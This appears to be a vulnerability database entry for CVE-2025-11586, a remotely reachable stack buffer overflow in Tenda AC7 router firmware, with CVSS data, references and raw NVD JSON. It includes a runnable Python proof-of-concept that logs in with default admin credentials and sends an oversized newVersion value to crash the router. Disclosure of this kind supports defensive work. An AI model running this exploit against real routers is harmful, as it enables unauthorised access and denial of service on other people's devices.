Security Vulnerability Report
中文
CVE-2025-11586 CVSS 8.8 HIGH

CVE-2025-11586

Published: 2025-10-10 21:16:06
Last Modified: 2025-10-20 15:50:18

Description

A vulnerability was determined in Tenda AC7 15.03.06.44. This affects an unknown function of the file /goform/setNotUpgrade. This manipulation of the argument newVersion causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac7_firmware:15.03.06.44:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac7:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC7 15.03.06.44

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11586 - Tenda AC7 setNotUpgrade Stack-based Buffer Overflow PoC # Author: noahze01 # Target: Tenda AC7 firmware 15.03.06.44 # Vulnerable endpoint: /goform/setNotUpgrade # Vulnerable parameter: newVersion import requests import sys TARGET_URL = "http://192.168.0.1" LOGIN_URL = f"{TARGET_URL}/login/Auth" EXPLOIT_URL = f"{TARGET_URL}/goform/setNotUpgrade" USERNAME = "admin" PASSWORD = "admin" # Default credentials or brute-forced credentials def login(): """Authenticate to the router and obtain a session cookie.""" session = requests.Session() payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=payload, timeout=10) if resp.status_code == 200 and "Set-Cookie" in resp.headers: print("[+] Login successful") return session except Exception as e: print(f"[-] Login failed: {e}") return None def exploit(session): """Trigger stack-based buffer overflow via newVersion parameter.""" # Overflow payload: 'A' * N to overflow stack buffer # Adjust offset based on target binary analysis overflow_payload = "A" * 1024 params = { "newVersion": overflow_payload } try: resp = session.post(EXPLOIT_URL, data=params, timeout=10) print(f"[*] Exploit sent, status code: {resp.status_code}") print("[+] If the router crashes or reboots, the exploit was successful") except requests.exceptions.RequestException as e: print(f"[+] Connection error (possible crash): {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL TARGET_URL = target LOGIN_URL = f"{TARGET_URL}/login/Auth" EXPLOIT_URL = f"{TARGET_URL}/goform/setNotUpgrade" sess = login() if sess: exploit(sess) else: print("[-] Could not authenticate. Provide valid credentials.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11586", "sourceIdentifier": "[email protected]", "published": "2025-10-10T21:16:06.320", "lastModified": "2025-10-20T15:50:18.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC7 15.03.06.44. This affects an unknown function of the file /goform/setNotUpgrade. This manipulation of the argument newVersion causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac7_firmware:15.03.06.44:*:*:*:*:*:*:*", "matchCriteriaId": "4D94B37C-491D-4E7C-8273-F46FEDA62C9F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac7:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "96503617-6B69-4862-ADFE-4EF379876F0F"}]}]}], "references": [{"url": "https://github.com/noahze01/IoT-vulnerable/blob/main/Tenda/AC7/setNotUpgrade.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/noahze01/IoT-vulnerable/blob/main/Tenda/AC7/setNotUpgrade.md#exploit", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327908", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327908", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.671597", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]} ... (truncated)